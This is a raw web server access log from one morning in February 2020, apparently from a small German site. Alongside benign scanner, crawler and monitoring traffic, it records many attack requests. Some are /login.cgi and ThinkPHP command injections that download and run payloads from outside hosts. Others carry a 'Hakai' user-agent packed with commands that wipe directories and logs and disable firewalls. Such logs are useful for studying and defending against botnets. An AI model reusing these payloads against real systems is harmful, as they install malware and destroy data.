71.6.158.166 - - [19/Feb/2020:05:20:35 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.158.166 - - [19/Feb/2020:05:20:35 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.158.166 - - [19/Feb/2020:05:20:35 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.158.166 - - [19/Feb/2020:05:20:36 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
188.165.220.123 - - [19/Feb/2020:05:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
117.194.101.45 - - [19/Feb/2020:05:25:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
89.186.124.106 - - [19/Feb/2020:05:28:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
196.61.10.15 - - [19/Feb/2020:05:32:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
94.60.123.74 - - [19/Feb/2020:05:37:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.134.236 - - [19/Feb/2020:05:40:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.134.236 - - [19/Feb/2020:05:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.134.236 - - [19/Feb/2020:05:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.134.236 - - [19/Feb/2020:05:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
201.49.228.198 - - [19/Feb/2020:05:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
162.243.134.236 - - [19/Feb/2020:05:46:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.134.236 - - [19/Feb/2020:05:46:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
95.5.239.132 - - [19/Feb/2020:05:47:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
162.243.134.236 - - [19/Feb/2020:05:49:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.134.236 - - [19/Feb/2020:05:49:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
5.235.191.9 - - [19/Feb/2020:05:56:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
78.178.78.41 - - [19/Feb/2020:05:57:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
78.178.78.41 - - [19/Feb/2020:05:57:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
190.124.162.73 - - [19/Feb/2020:05:57:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.234.136.142 - - [19/Feb/2020:05:59:11 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
209.17.97.26 - - [19/Feb/2020:05:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)"
79.117.155.83 - - [19/Feb/2020:06:04:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
80.90.84.143 - - [19/Feb/2020:06:05:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
46.236.76.95 - - [19/Feb/2020:06:07:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.27.187.117 - - [19/Feb/2020:06:10:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
175.35.173.108 - - [19/Feb/2020:06:11:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
49.235.146.76 - - [19/Feb/2020:06:15:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.63.211.126 - - [19/Feb/2020:06:18:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.141.37.216 - - [19/Feb/2020:06:27:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
176.106.144.188 - - [19/Feb/2020:06:28:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
123.254.209.170 - - [19/Feb/2020:06:34:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.232.4 - - [19/Feb/2020:06:35:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
190.122.152.149 - - [19/Feb/2020:06:42:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
78.186.153.65 - - [19/Feb/2020:06:44:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
31.208.110.78 - - [19/Feb/2020:06:44:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.170.14.228 - - [19/Feb/2020:06:45:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
66.249.64.86 - - [19/Feb/2020:06:45:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
218.158.126.72 - - [19/Feb/2020:06:50:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [19/Feb/2020:06:50:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [19/Feb/2020:06:50:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [19/Feb/2020:06:50:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [19/Feb/2020:06:50:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
66.249.64.43 - - [19/Feb/2020:06:55:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [19/Feb/2020:07:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.183.163.216 - - [19/Feb/2020:07:05:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:07:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.159.208 - - [19/Feb/2020:07:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2)"
212.91.246.72 - - [19/Feb/2020:07:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.225.21.27 - - [19/Feb/2020:07:13:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:07:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.173.35.25 - - [19/Feb/2020:07:15:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [19/Feb/2020:07:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:25:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.211 - - [19/Feb/2020:07:26:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [19/Feb/2020:07:26:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:27:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:29:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:30:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:31:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.240.68.235 - - [19/Feb/2020:07:32:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [19/Feb/2020:07:32:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:33:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:34:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.48 - - [19/Feb/2020:07:35:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [19/Feb/2020:07:35:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [19/Feb/2020:07:37:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [19/Feb/2020:07:37:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:07:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [19/Feb/2020:07:37:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [19/Feb/2020:07:37:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
59.127.187.112 - - [19/Feb/2020:07:38:19 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
121.178.8.198 - - [19/Feb/2020:07:38:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [19/Feb/2020:07:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [19/Feb/2020:07:39:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
124.47.8.10 - - [19/Feb/2020:07:40:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:07:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.178.132.103 - - [19/Feb/2020:07:41:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [19/Feb/2020:07:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.225.21.27 - - [19/Feb/2020:07:43:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [19/Feb/2020:07:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [19/Feb/2020:07:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [19/Feb/2020:07:45:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
194.153.113.222 - - [19/Feb/2020:07:45:39 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.222 - - [19/Feb/2020:07:45:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
212.91.246.72 - - [19/Feb/2020:07:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /seiten/kontakt.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /seiten/partner.htm HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /seiten/service.htm HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /css/style.css HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /seiten/impr.htm HTTP/1.1" 404 332 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /seiten/databund.html HTTP/1.1" 404 337 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /seiten/produkte.htm HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /seiten/willk.htm HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
194.153.113.101 - - [19/Feb/2020:07:45:47 +0100] "GET /seiten/referenzen.htm HTTP/1.1" 404 338 "-" "Mozilla/5.0 (compatible; oBot/2.3.1; +http://www.xforce-security.com/crawler/)"
